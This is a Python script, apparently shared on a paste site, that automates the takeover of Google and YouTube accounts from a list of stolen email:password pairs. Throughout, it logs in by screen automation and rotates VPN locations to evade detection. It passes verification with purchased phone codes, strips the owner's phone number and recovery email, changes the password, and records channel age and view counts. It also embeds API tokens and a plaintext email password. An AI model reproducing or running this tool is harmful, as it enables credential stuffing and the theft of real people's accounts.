· 11 years ago · Jul 22, 2015, 07:18 PM
1
2import pyautogui, pyperclip, names, requests
3import telnetlib
4from selenium import webdriver
5from selenium.webdriver.support.ui import WebDriverWait
6
7from random import randint
8from pushover import init, Client
9
10import time, random, string, os, subprocess
11from bs4 import BeautifulSoup
12
13currentdir = os.path.dirname(os.path.realpath(__file__))
14
15with open(os.path.join(currentdir, "info" , "server.txt")) as f:
16 server = f.readlines()
17
18ip = server[0].rstrip("\n")
19ACCOUNT_SID = server[1].rstrip("\n")
20AUTH_TOKEN = server[2].rstrip("\n")
21defaultEmail = "tqmedia01@gmail.com"
22defaulPassword = "tqmedia01"
23
24api4 = "http://api4.verificationcode.net/order?token=714f25c39711a5bc3eb769166aedf68bea9434b9285758a58fdc4a10c15ece8f"
25#api4 = "http://api4.verificationcode.net/order?token=1c1bab2f7fb4aedf94cdbfb4244e194900dfab291cb5d26503131992d9a1b1e7"
26#api4 = "http://api4.verificationcode.net/order?token=318e991607d0d91bc89d9ee2d772969c91bc5f475f68178af979d032646fe2fd"
27
28cities = ["Austin", "Chicago", "Los Angeles", "Miami", "New York", "San Francisco", "Seattle", "Washington"]
29#cities = ["Ireland", "Portugal", "Belgium", "Netherlands", "Luxembourg", "Denmark", "Sweden", "Iceland", "Russia", "Romania", "Norway", "United Kingdom", "Lithuania", "Italy", "Spain", "Finland", "Czech Republic", "Austria", "Germany", "France", "Switzerland", "Poland"]
30
31init("aYDXEfotLvLtwy6hmf14kTPJWwr3nG")
32
33#########################################################
34################## CLICK FUNCTIONS ######################
35#########################################################
36
37def sc(x, y):
38 try:
39 pyautogui.moveTo(x, y, 0.2)
40 pyautogui.click()
41 except:
42 pass
43
44def dc(x, y):
45 try:
46 pyautogui.moveTo(x, y, 0.2)
47 pyautogui.doubleClick()
48 except:
49 pass
50
51def paste():
52 try:
53 return pyperclip.paste()
54 except:
55 pass
56def push(title, message):
57 Client("uD24S65yVEbMXKPmVx1HX8Pjccm8jy").send_message(message, title=title)
58
59#########################################################
60#################### WEB FUNCTIONS ######################
61#########################################################
62
63def goTo(website):
64 pyautogui.hotkey('alt', 'd')
65 pyautogui.typewrite(website, interval=0.01)
66 pyautogui.press('enter')
67
68def goToGmail():
69 goTo("mail.google.com/mail/u/0/h/")
70 time.sleep(4)
71
72def goToEditSecond():
73 pyautogui.press('enter')
74 time.sleep(3.5)
75 goTo("accounts.google.com/b/0/EditUserInfo?hl=en")
76 time.sleep(5)
77 pyautogui.press('enter')
78
79def deletePhone():
80 time.sleep(3.5)
81 goTo("https://myaccount.google.com/phone?utm_source=OGB&pli=1&hl=en")
82 time.sleep(7)
83 text = getBody()
84 if not 'is used to reach' in text:
85 sc(1265, 388)
86 time.sleep(3)
87 sc(974, 763)
88 time.sleep(3)
89 sc(974, 715)
90 time.sleep(3)
91
92def goToChaneMyPass():
93 goTo("accounts.google.com/b/0/EditPasswd?continue=https://myaccount.google.com/&hl=en")
94 time.sleep(3)
95
96def goToMyAccount():
97 goTo('myaccount.google.com/?hl=en')
98 pyautogui.press('enter')
99 time.sleep(3)
100
101def getUrl():
102 pyautogui.hotkey('ctrl', 'l')
103 pyautogui.hotkey('ctrl', 'c')
104 text = paste()
105 try:
106 text = str(text)
107 except:
108 getUrl()
109 return text
110
111def getBody():
112 sc(69, 801)
113 pyautogui.hotkey('ctrl', 'a')
114 pyautogui.hotkey('ctrl', 'c')
115 text = paste()
116 try:
117 text = str(text)
118 except:
119 getBody()
120 return text
121
122def getBodyYt():
123 sc(113, 957)
124 time.sleep(1)
125 pyautogui.hotkey('ctrl', 'a')
126 pyautogui.hotkey('ctrl', 'c')
127 text = paste()
128 try:
129 text = str(text)
130 except:
131 getBody()
132 return text
133
134
135
136#########################################################
137################### GOOGLE FUNCTIONS ####################
138#########################################################
139
140def goGoogle():
141 pyautogui.hotkey('ctrl', 'l')
142 pyautogui.typewrite('accounts.google.com/ServiceLogin?&hl=en')
143 pyautogui.press('enter')
144 time.sleep(3)
145
146def loginGoogle(email, password):
147 goGoogle()
148 pyautogui.hotkey('ctrl', 'a')
149 pyautogui.press('delete')
150 pyautogui.typewrite(email)
151 pyautogui.press('enter')
152 time.sleep(2.5)
153 pyautogui.typewrite(password)
154 pyautogui.press('enter')
155
156def setNewPass():
157 os.startfile(os.path.join(currentdir, "helpers" , "savenewpass.exe"))
158 time.sleep(7)
159
160
161def manuel(expassword, password):
162 goToEditSecond()
163 time.sleep(2)
164 pyautogui.moveTo(1616, 406, 1)
165
166 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
167 if(button7location != None):
168 buttonx, buttony = pyautogui.center(button7location)
169 pyautogui.click(buttonx, buttony)
170
171 text = getBody()
172 goToEditSecondEmail(text)
173
174 text = text.replace("\n", " ")
175 texts = text.split(" ")
176
177 gmail = ""
178 for t in texts:
179 if("@gmail" in t):
180 gmail = t.replace("\n", "").replace("\t", "")
181 break
182
183
184 deletePhone()
185 time.sleep(3)
186 goTo("https://security.google.com/settings/security/signinoptions/rescueemail?hl=en")
187 time.sleep(4)
188 link = getUrl()
189
190 if("ServiceLogin" in link):
191 sc(865, 446)
192 pyautogui.typewrite(expassword)
193 time.sleep(2)
194 sc(979,502)
195 time.sleep(4)
196
197 sc(906, 313)
198 pyautogui.hotkey('ctrl', 'a')
199 pyautogui.typewrite(defaultEmail)
200
201 sc(1247, 356)
202 sc(1247, 356)
203
204 time.sleep(2)
205 goToChaneMyPass()
206
207 sc(860, 447)
208 sc(860, 447)
209 pyautogui.typewrite(expassword)
210 pyautogui.press('enter')
211 time.sleep(5)
212 pyautogui.typewrite(password)
213 pyautogui.press('tab')
214 pyautogui.press('tab')
215 pyautogui.press('tab')
216 time.sleep(1)
217 pyautogui.typewrite(password)
218 pyautogui.press('tab')
219 pyautogui.press('tab')
220 time.sleep(1)
221 pyautogui.press('enter')
222
223 return str(gmail) + ":" + password
224
225def goToEditSecondEmail(text):
226 pyautogui.press('enter')
227 if "First name" in text:
228 dc(627, 247)
229 pyautogui.hotkey('ctrl', 'a')
230 pyautogui.typewrite(randName)
231 pyautogui.press('tab')
232 pyautogui.typewrite(randSname)
233 os.startfile(os.path.join(currentdir, "helpers" , "secondname.exe"))
234 time.sleep(10)
235 else:
236 os.startfile(os.path.join(currentdir, "helpers" , "secondnoname.exe"))
237 time.sleep(5)
238
239def whereIsGmail(fakeName):
240
241 pyautogui.moveTo(550,560)
242 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
243 if(button7location != None):
244 buttonx, buttony = pyautogui.center(button7location)
245 pyautogui.click(buttonx, buttony)
246 else:
247 pyautogui.moveTo(1899,83, 2)
248 sc(1899,83)
249
250 dc(1132, 255)
251 pyautogui.typewrite(fakeName, interval=0.10)
252 time.sleep(1)
253 sc(1112, 326)
254 time.sleep(2)
255 dc(1135, 285)
256 pyautogui.hotkey('ctrl', 'c')
257 text = paste()
258 try:
259 text = str(text)
260 except:
261 text = ""
262
263 if("Someone" in text or "Please" in text):
264 return 2
265 elif ("Your" in text):
266 return 3
267 return 1
268
269
270def registerGmail(fakeName, fakeSurname, flag):
271
272 if(flag == 1):
273 pyautogui.doubleClick(1133, 255)
274 pyautogui.typewrite(fakeName, interval=0.10)
275 time.sleep(0.3)
276 pyautogui.press('tab')
277 pyautogui.typewrite(fakeSurname, interval=0.10)
278 time.sleep(0.3)
279 email = fakeName + fakeSurname + str(randint(3000,9999))
280 email = email.lower()
281 pyautogui.press('tab')
282 pyautogui.typewrite("johnmiller", interval=0.10)
283 time.sleep(0.3)
284 pyautogui.press('tab')
285 pyautogui.press('tab')
286 pyautogui.press('delete')
287 pyautogui.press('tab')
288 time.sleep(0.3)
289 pyautogui.press('delete')
290 pyautogui.typewrite(defaultEmail, interval=0.10)
291 pyautogui.press('enter')
292 time.sleep(2)
293 pyautogui.click(1211,378)
294 time.sleep(1)
295 pyautogui.moveTo(1154,326)
296 pyautogui.doubleClick()
297 time.sleep(2)
298 pyautogui.hotkey('ctrl', 'c')
299 gmail = paste()
300 jc = 0
301
302 while "johnmiller" == gmail and jc < 3:
303 pyautogui.click(1211,380)
304 pyautogui.moveTo(1154,326)
305 pyautogui.doubleClick()
306 pyautogui.hotkey('ctrl', 'c')
307 gmail = paste()
308 jc += 1
309
310 pyautogui.press('enter')
311 return str(gmail) + "@gmail.com"
312
313 elif(flag == 0):
314 dc(1161,255)
315 pyautogui.click()
316 time.sleep(1)
317 pyautogui.typewrite("johnmiller", interval=0.45)
318 time.sleep(2)
319 sc(1231,382)
320 time.sleep(1)
321 sc(1236,308)
322 time.sleep(1)
323 pyautogui.moveTo(1161,251)
324 pyautogui.doubleClick()
325 pyautogui.hotkey('ctrl', 'c')
326 gmail = paste()
327 time.sleep(1)
328 pyautogui.press('tab')
329 time.sleep(1)
330 pyautogui.press('tab')
331 time.sleep(1)
332 pyautogui.press('delete')
333 pyautogui.press('tab')
334 time.sleep(1)
335 pyautogui.press('delete')
336 pyautogui.typewrite(defaultEmail, interval=0.30)
337 time.sleep(1)
338 pyautogui.press('enter')
339 return str(gmail) + "@gmail.com"
340 else:
341 dc(1148, 255)
342 pyautogui.hotkey('ctrl', 'c')
343 gmail = paste()
344 sc(1193, 349)
345 pyautogui.hotkey('ctrl', 'a')
346 pyautogui.press('delete')
347 pyautogui.press('tab')
348 time.sleep(1)
349 pyautogui.press('delete')
350 pyautogui.typewrite(defaultEmail, interval=0.30)
351 time.sleep(1)
352 pyautogui.press('enter')
353 return str(gmail) + "@gmail.com"
354
355def changeAccountInfo(expassword, password, text):
356 goToEditSecondEmail(text)
357
358 t0 = time.clock()
359 url = getUrl()
360
361 while("EditUserInfo" in url):
362 if(time.clock() - t0 > 20):
363 return
364 text = getBody()
365 goToEditSecondEmail(text)
366 url = getUrl()
367
368 time.sleep(3)
369
370 deletePhone()
371 goToChaneMyPass()
372
373 time.sleep(4)
374 pyautogui.typewrite(expassword)
375 pyautogui.press('enter')
376 time.sleep(5)
377 pyautogui.typewrite(password)
378 pyautogui.press('tab')
379 pyautogui.press('tab')
380 pyautogui.press('tab')
381 time.sleep(1)
382 pyautogui.typewrite(password)
383 pyautogui.press('tab')
384 pyautogui.press('tab')
385 time.sleep(1)
386 pyautogui.press('enter')
387 return password
388
389#########################################################
390################### PHONE FUNCTIONS #####################
391#########################################################
392
393def enterPhone(phone):
394 pyautogui.typewrite(phone, interval=0.10)
395 pyautogui.press('enter')
396
397def openPhone(phone):
398 try:
399 # spoof some headers so the request appears to be coming from a browser, not a bot
400 headers = {
401 "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5)",
402 "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
403 "accept-charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.3",
404 "accept-encoding": "gzip,deflate,sdch",
405 "accept-language": "en-US,en;q=0.8",
406 }
407
408 # make the request to the search url, passing in the the spoofed headers.
409 r = requests.get(api4, headers=headers) # assign the response to a variable r
410
411 # check the status code of the response to make sure the request went well
412 if r.status_code != 200:
413 print("request denied")
414 return
415 else:
416 pass
417
418 # convert the plaintext HTML markup into a DOM-like structure that we can search
419 soup = BeautifulSoup(r.text)
420
421 # each result is an <li> element with class="g" this is our wrapper
422 results = soup.findAll("td")
423
424 for i in range(len(results)):
425 if phone in results[i]:
426 c = str(results[i+3]).lstrip("<td>").rstrip("</td>")
427 code = c.split(" ")[5]
428 return code
429 return ""
430 except:
431 return ""
432def enterCode(code):
433 sc(742,382)
434 pyautogui.typewrite(code, interval=0.10)
435 pyautogui.press('enter')
436#########################################################
437################## YOUTUBE FUNCTIONS ####################
438#########################################################
439
440
441def setYoutubeDriver():
442 #changeProxy()
443 global driver
444 driver = webdriver.Firefox()
445 driver.maximize_window()
446 return driver
447
448
449def loginYoutube(email, password):
450 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
451 time.sleep(3)
452 put(".//*[@id='Email']", email)
453 fbxpath(".//*[@id='next']").click()
454 put(".//*[@id='Passwd']", password)
455 fbxpath(".//*[@id='signIn']").click()
456 time.sleep(8)
457
458def isPicassa():
459 cbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "continue.png"))
460 okbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "ok.png"))
461
462 if(cbutton != None and okbutton == None):
463 return 0
464 elif(cbutton == None and okbutton != None):
465 return 1
466 else:
467 return 2
468
469def regYoutube():
470 time.sleep(12)
471
472 sc(1200, 645)
473 text = None
474 while text == None:
475 pyautogui.hotkey('ctrl', 'a')
476 pyautogui.hotkey('ctrl', 'c')
477 text = paste()
478
479 if "Picasa" in text:
480 os.startfile(os.path.join(currentdir, "helpers" , "picasa.exe"))
481 time.sleep(15)
482 return
483
484 flag = isPicassa()
485 if (flag == 1):
486 time.sleep(2)
487 sc(1175, 690)
488 return
489
490 elif(flag == 0):
491 os.startfile(os.path.join(currentdir, "helpers" , "flag0.exe"))
492 time.sleep(15)
493 return
494
495 if(flag == 2):
496 sc(651, 704)
497 sc(666, 556)
498 sc(666, 556)
499 time.sleep(1)
500 pyautogui.moveTo(958, 792, 2)
501 pyautogui.click(958, 792)
502
503
504def addToYoutube(info):
505 try:
506 sorunlu = open(os.path.join(currentdir, "info" , "server.txt"), "a")
507 sorunlu.write(info + "\n")
508 sorunlu.close()
509 except:
510 print("Dosya acilamadi")
511
512def addToTekrar(info):
513 try:
514 sorunlu = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
515 sorunlu.write(info + "\n")
516 sorunlu.close()
517 except:
518 print("Dosya acilamadi")
519
520def fbxpath(xpath):
521 try:
522 return WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
523 except:
524 return False
525
526def put(xpath, toSend):
527 try:
528 to = WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
529 time.sleep(1)
530 to.send_keys(toSend)
531 except:
532 return False
533
534def isShowed(xpath):
535 try:
536 WebDriverWait(driver, 7).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
537 return True
538 except:
539 return False
540
541def createYoutube(email, password):
542 driver.get("https://www.youtube.com/my_videos?o=U")
543 time.sleep(8)
544 text = getBody()
545
546 if("Help us keep your account secure" in text
547 or "Cookies help" in text):
548 driver.get("https://www.youtube.com/my_videos?o=U")
549 time.sleep(7)
550 text = getBody()
551
552 if "Don't get locked out" in text:
553 sc(980, 713)
554 sc(980, 713)
555 sc(980, 713)
556 time.sleep(7)
557 driver.get("https://www.youtube.com/my_videos?o=U")
558 time.sleep(7)
559
560 if "oops" in driver.current_url:
561 time.sleep(2)
562 driver.get("https://www.youtube.com/my_videos?o=U")
563
564 if "Use YouTube as..." in text:
565 sc(866 ,526)
566 driver.get("https://www.youtube.com/my_videos?o=U")
567 time.sleep(10)
568 text = getBody()
569
570 if "Create a channel" in text:
571 flag = 0
572 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
573 regYoutube()
574
575 elif "YouTube channel has content but has been disabled" in text:
576 fbxpath(".//*[@id='vm-general-notifs']/div/div[2]/div/a[1]")
577 time.sleep(3)
578 regYoutube()
579 else:
580 flag = 1
581
582 driver.get("https://www.youtube.com/analytics?o=U")
583 t0 = time.clock()
584
585 while "my_videos" in driver.current_url:
586 if time.clock() - t0 > 25:
587 addToYoutube(email +":" + password)
588 return False
589 time.sleep(2)
590 sc(1875, 91)
591 time.sleep(1)
592 sc(1853, 280)
593 time.sleep(3)
594 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
595 time.sleep(5)
596 pyautogui.typewrite(password)
597 sc(990, 580)
598 time.sleep(2)
599 url = driver.current_url
600 while("ServiceLogin" in url):
601 pyautogui.typewrite(password)
602 sc(990, 580)
603 time.sleep(2)
604 url = driver.current_url
605 driver.get("https://www.youtube.com/my_videos?o=U")
606 try:
607 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
608 except:
609 driver.get("https://www.youtube.com/dashboard?o=U")
610 break
611 time.sleep(4)
612 sc(1170, 690)
613 driver.get("https://www.youtube.com/analytics?o=U")
614
615 time.sleep(10)
616 if "dashboard" not in driver.current_url:
617 driver.get("https://www.youtube.com/dashboard?o=U")
618 time.sleep(10)
619 try:
620 date = fbxpath(".//*[@id='gwt-debug-metadataList']/span[1]").text.lstrip("Created: ").replace(",", "")
621 except:
622 date = "kontroledilecek"
623
624 driver.get("https://www.youtube.com/dashboard?o=U")
625 try:
626 subscriber = fbxpath(".//*[@id='dashboard-header-stats']/li[2]/div[1]").text
627 views = fbxpath(".//*[@id='dashboard-header-stats']/li[1]/div[1]").text
628 except:
629 return
630 if len(views) > 7:
631 push("Yuksek izlenme!", "Kontrol etmelisin.. Ip: " + ip)
632 fbxpath(".//*[@id='dashboard-header-user-name-and-label']/h2/a").click()
633 time.sleep(2)
634 channelUrl = driver.current_url
635
636 if("2005" in date):
637 dateFile = 2005
638 elif("2006" in date):
639 dateFile = 2006
640 elif("2007" in date):
641 dateFile = 2007
642 elif("2008" in date):
643 dateFile = 2008
644 elif("2009" in date):
645 dateFile = 2009
646 elif("2010" in date):
647 dateFile = 2010
648 elif("2011" in date):
649 dateFile = 2011
650 elif("2012" in date):
651 dateFile = 2012
652 elif("2013" in date):
653 dateFile = 2013
654 elif("2014" in date):
655 dateFile = 2014
656 elif("2015" in date):
657 dateFile = 2015
658 else:
659 dateFile = "kontroledilecek"
660 print(str(date))
661 saveYoutube(email, password, channelUrl, dateFile, date, subscriber, views)
662
663
664def saveYoutube(email, password, url, dateFile, date, subscriber, views):
665 try:
666 info = str(email) + "::" + str(password).rstrip("\n") + "::" + str(url) + "::" + str(date) + "::" + str(subscriber) + "::" + str(views) + "::" + defaultEmail
667 hesaplar = open(os.path.join(currentdir, "save" , str(dateFile) + ".txt"), "a")
668 hesaplar.write(info + "\n")
669 hesaplar.close()
670 except:
671 print("Dosya acilamadi.")
672
673#########################################################
674#################### SAVE FUNCTIONS #####################
675#########################################################
676
677def addToGmail(info):
678 try:
679 hesaplar = open(os.path.join(currentdir, "save" , "gmail.txt"), "a")
680 hesaplar.write(info + "\n")
681 hesaplar.close()
682 except:
683 print("Dosya acilamadi.")
684
685def addToCop(info):
686 try:
687 cop = open(os.path.join(currentdir, "source" , "cop.txt"), "a")
688 cop.write(info[0] + ":" + info[1])
689 cop.close()
690 except:
691 print("Dosya acilamadi.")
692
693def addToOzel(info):
694 try:
695 ozel = open(os.path.join(currentdir, "source" , "ozel.txt"), "a")
696 ozel.write(info[0] + ":" + info[1])
697 ozel.close()
698 except:
699 print("Dosya acilamadi.")
700
701def addToTekrar(info):
702 try:
703 ozel = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
704 ozel.write(info[0] + ":" + info[1])
705 ozel.close()
706 except:
707 print("Dosya acilamadi.")
708def addToTekrarYT(info):
709 try:
710 ozel = open(os.path.join(currentdir, "save" , "tekraryt.txt"), "a")
711 ozel.write(info)
712 ozel.close()
713 except:
714 print("Dosya acilamadi.")
715
716def addToCaptcha(info):
717 try:
718 ozel = open(os.path.join(currentdir, "source" , "captcha.txt"), "a")
719 ozel.write(info[0] + ":" + info[1])
720 ozel.close()
721 except:
722 print("Dosya acilamadi.")
723
724def addToYoutube(info):
725 try:
726 sorunlu = open(os.path.join(currentdir, "save" , "tekrardenenecekyoutube.txt"), "a")
727 sorunlu.write(info + "\n")
728 sorunlu.close()
729 except:
730 print( "Dosya acilamadi")
731
732def updateList(i):
733 try:
734
735 with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'w') as fout:
736 fout.writelines(content[i+1:])
737 except:
738 print("Dosya acilamadi.")
739
740
741#########################################################
742################## DRIVER FUNCTIONS #####################
743#########################################################
744
745def createDriver():
746 pyperclip.copy('')
747 global loginC
748 loginC = 0
749 os.system("taskkill /f /t /im firefox.exe")
750 changeProxy()
751 os.startfile("C:\\\Program Files (x86)\\\Mozilla Firefox\\firefox.exe")
752 time.sleep(7)
753
754def changeProxy():
755
756 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
757 # Path to OpenVPN program
758 vypr_bin = "C:\\Program Files\\OpenVPN\\bin\\openvpn.exe"
759 # Path to username/password
760 vypr_auth = "C:\\Users\\Administrator\\Desktop\\youtube\\vypr_auth.txt"
761 # Path to config file. What's server do you want connect to?
762
763 vpn_mgt_host = "127.0.0.1"
764 vpn_mgt_port = "7777"
765 cities = ["Austin", "Chicago", "Los Angeles", "Miami", "New York", "San Francisco", "Seattle", "Washington"]
766 c = random.randint(0, 7)
767 vypr_conf = "C:\\Users\\Administrator\\Desktop\\youtube\\config\\USA - " + cities[c] + ".ovpn"
768 vpn_params = [vypr_bin, "--management", vpn_mgt_host, vpn_mgt_port,
769 "--management-hold", "--config", vypr_conf,
770 "--auth-user-pass", vypr_auth, "--log", "C:\\Users\\Administrator\\Desktop\\youtube\\info\\openvpn.log"]
771
772 # Delete all tap devices
773 subprocess.call("deltapall.bat", shell=True)
774
775 # Add tap devices
776 subprocess.call("addtap.bat", shell=True)
777
778 # Run OpenVPN daemon but management hold
779 prog = subprocess.Popen(vpn_params, shell=True,
780 stdin=None, stdout=None, stderr=None, close_fds=True)
781
782 # vpn_pid = prog.pid
783
784 # Connect to OpenVPN management daemon
785 tn = telnetlib.Telnet(vpn_mgt_host, vpn_mgt_port)
786 # Turn on log
787 tn.write(("log on\r\n").encode('ascii'))
788 time.sleep(1)
789 # Hold release
790 tn.write(("hold release\r\n").encode('ascii'))
791 time.sleep(2)
792 # Waiting to OpenVPN connected
793 time.sleep(15)
794 print ("Connected to " + cities[c])
795
796def endSession():
797 pyautogui.hotkey('alt', 'f4')
798 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
799 time.sleep(5)
800 updateList(i)
801 createDriver()
802
803def checkSuccess(failC, sucC, loginC):
804 if loginC > 30:
805 endSession()
806 if i % 50 != 0:
807 return
808 try:
809 failRate = failC / sucC
810 except:
811 failRate = failC
812
813 if failRate > 49:
814 updateList(i)
815
816with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'r') as f:
817 content = f.read().splitlines(True)
818with open(os.path.join(currentdir, "info" , "telefonlar.txt"), 'r') as f:
819 phones = f.read().splitlines(True)
820######################################################
821
822failC = 0
823sucC = 0
824
825k = 0
826p = 0
827print(str(i) + " adet hesap var.")
828createDriver()
829try:
830 for i in range(len(content)):
831 checkSuccess(failC, sucC, loginC)
832 try:
833 info = content[i].split(":")
834 email = info[0]
835 password = info[1].rstrip("\n")
836 if(len(password) < 6 or "@" not in email):
837 continue
838 print("Kullanci Adi: " + email + "\n" + "Sifre: " + password)
839 print("Succes: " + str(sucC) + " Fail: " + str(failC))
840 chars = string.ascii_letters + string.digits
841 newPass = ''.join(random.SystemRandom().choice(chars) for i in range(10))
842 randName = names.get_first_name(gender='male')
843 randSname = names.get_last_name()
844 except:
845 addToOzel(content[i].split(":"))
846 time.sleep(2)
847 continue
848 try:
849 phone = phones[p].rstrip("\n")
850 except:
851 p = 0
852 phone = phones[p].rstrip("\n")
853
854 try:
855 loginGoogle(email, password)
856 loginC += 1
857 except:
858 addToCop(info)
859 continue
860
861 if "gmail" in email:
862 time.sleep(6)
863 else:
864 time.sleep(3)
865 text = getBody()
866
867 if("One account. All of Google." in text
868 or "Sorry, Google doesn't recognize" in text
869 or "Your Google Account is managed by" in text
870 or "Sorry, we can't process" in text
871 or "Google" not in text
872 or "We've detected unusual activity" in text
873 or "2-Step verification" in text
874 ):
875
876 if("Letters are" in text or "Firefox" in text):
877 addToCaptcha(info)
878 endSession()
879 k = 0
880 continue
881 elif "privacy reminder" in text:
882 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
883 time.sleep(5)
884 else:
885 addToCop(info)
886 failC += 1
887 k = 0
888 continue
889 elif ("Letters are" in text):
890 addToCaptcha(info)
891 k = 0
892 endSession()
893 continue
894 elif "Please re-enter" in text:
895 addToOzel(content[i-1].split(":"))
896 endSession()
897 elif "Firefox" in text:
898 addToCaptcha(info)
899 k = 0
900 endSession()
901 elif "Google" not in text:
902 addToCop(info)
903 failC += 1
904 k = 0
905 continue
906 else:
907 time.sleep(3)
908 url = getUrl()
909
910 url = getUrl()
911 if "privacyreminder" in url:
912 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
913 time.sleep(7)
914 url = getUrl()
915
916 if "VerifiedPhoneInterstitial" in url:
917 time.sleep(2)
918 sc(1113,800)
919 time.sleep(5)
920 url = getUrl()
921
922 elif not "google" in url:
923 addToCop(info)
924 failC += 1
925 continue
926
927 elif "LoginVerification" in url:
928 text = getBody()
929 if("Tell us the city" in text
930 or "Answer your secret question" in text
931 or "Enter your recovery" in text
932 or "Android" in text
933 or "Receive a verification" in text
934 or "Tell us your phone number" in text):
935 if("Enter a phone" not in text
936 or "Sorry, we can't process" in text):
937 addToCop(info)
938 failC += 1
939 continue
940 if "Tell us the city" in text:
941 sc(747, 452)
942 else:
943 sc(745,427)
944 enterPhone(phone)
945 time.sleep(4)
946 text = getBody()
947 sc(758, 618)
948
949 while "already" in text :
950 p += 1
951 if(p == len(phones)):
952 p = 0
953 phone = phones[p].rstrip("\n")
954 sc(742,382)
955 pyautogui.hotkey('ctrl', 'a')
956 pyautogui.press('delete')
957 code = openPhone(phone)
958 enterCode(code)
959 time.sleep(5)
960 text = getBody()
961 sc(758, 618)
962 if "until in text":
963 continue
964
965 cC = 0
966 while cC < 3:
967 sc(742,382)
968 pyautogui.hotkey('ctrl', 'a')
969 pyautogui.press('delete')
970 code = openPhone(phone)
971 enterCode(code)
972 time.sleep(5)
973 url = getUrl()
974 if not "LoginVerification" in url:
975 break
976 else:
977 time.sleep(6)
978 cC += 1
979
980
981 elif("ChangePassword" in url):
982 setNewPass()
983 newPass = defaulPassword + "\n"
984 password = defaulPassword + "\n"
985 goToGmail()
986
987 elif("google" not in url or "ServiceLoginAuth" in url):
988 addToCop(info)
989 failC += 1
990 continue
991
992 elif("RecycledEmailInterstitial" in url
993 or "AccountRecoveryOptionsPrompt" in url
994 or "myaccount" in url):
995 time.sleep(3)
996 goToGmail()
997
998 elif("EmailNotVerified" in url):
999 time.sleep(3)
1000 goToGmail()
1001 time.sleep(4)
1002 url = getUrl()
1003 if("ServiceLogin" in url):
1004 sc(882,448)
1005 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1006 pyautogui.press('enter')
1007 time.sleep(4)
1008 url = getUrl()
1009 time.sleep(3)
1010
1011 else:
1012 print("-----RAPOR EDILMELI!!!!")
1013 addToOzel(info)
1014 endSession()
1015 continue
1016
1017 time.sleep(9)
1018 url = getUrl()
1019 time.sleep(1)
1020 try:
1021 sc(1899,83)
1022 except:
1023 pass
1024 if "privacyreminder" in url:
1025 sc(1231, 984)
1026 time.sleep(2)
1027 sc(1231, 984)
1028 time.sleep(5)
1029 goToGmail()
1030 time.sleep(5)
1031 url = getUrl()
1032 if("EmailNotVerified" in url):
1033 time.sleep(3)
1034 goToGmail()
1035 time.sleep(5)
1036 url = getUrl()
1037 if("ServiceLogin" in url):
1038 sc(882,448)
1039 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1040 pyautogui.press('enter')
1041 time.sleep(3)
1042 url = getUrl()
1043 time.sleep(6)
1044
1045 if("myaccount" in url):
1046 goToGmail()
1047 time.sleep(5)
1048 url = getUrl()
1049
1050 if("ServiceLogin" in url):
1051 sc(882,448)
1052 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1053 pyautogui.press('enter')
1054 time.sleep(3)
1055 url = getUrl()
1056
1057 if("AccountRecoveryOptionsPrompt" in url):
1058 addToTekrar(info)
1059 continue
1060
1061 if("mail/" in url):
1062 gmail = manuel(password, newPass)
1063 g = gmail.split(":")
1064 gmail = g[0]
1065 newPass = g[1]
1066
1067 elif("ChangePassword" in url):
1068
1069 setNewPass()
1070 newPass = defaulPassword + "\n"
1071 password = defaulPassword + "\n"
1072 time.sleep(8)
1073 goToGmail()
1074 time.sleep(5)
1075 url = getUrl()
1076 if("mail/" not in url):
1077 flag = whereIsGmail(randName)
1078 if(flag==1):
1079 gmail = registerGmail(randName, randSname, 1)
1080 goToEditSecond()
1081 text = getBody()
1082
1083 try:
1084 if(not "@gmail.com" in text):
1085 addToOzel(info)
1086 failC += 1
1087 endSession()
1088 continue
1089 except:
1090 pass
1091
1092 newPass = changeAccountInfo(password, newPass, text)
1093
1094 elif(flag==2):
1095 gmail = registerGmail(randName, randSname, 0)
1096 goToEditSecond()
1097 text = getBody()
1098
1099 try:
1100 if(not "@gmail.com" in text):
1101 addToOzel(info)
1102 failC += 1
1103 endSession()
1104 continue
1105 except:
1106 pass
1107
1108 newPass = changeAccountInfo(password, newPass, text)
1109
1110 elif(flag == 3):
1111 addToCop(info)
1112 failC += 1
1113 endSession()
1114 continue
1115 else:
1116 gmail = manuel(newPass, newPass)
1117 g = gmail.split(":")
1118 gmail = g[0]
1119 newPass = g[1]
1120
1121 elif("inbox" in url):
1122 gmail = manuel(password, newPass)
1123 g = gmail.split(":")
1124 gmail = g[0]
1125 newPass = g[1]
1126
1127 elif("AddMailService" in url):
1128 pyautogui.moveTo(1899,83)
1129 time.sleep(1)
1130 sc(1899,83)
1131 time.sleep(1)
1132 flag = whereIsGmail(randName)
1133 if(flag==1):
1134 gmail = registerGmail(randName, randSname, 1)
1135 goToEditSecond()
1136 text = getBody()
1137
1138 try:
1139 if(not "@gmail.com" in text):
1140 addToOzel(info)
1141 failC += 1
1142 endSession()
1143 continue
1144 except:
1145 pass
1146
1147 newPass = changeAccountInfo(password, newPass, text)
1148
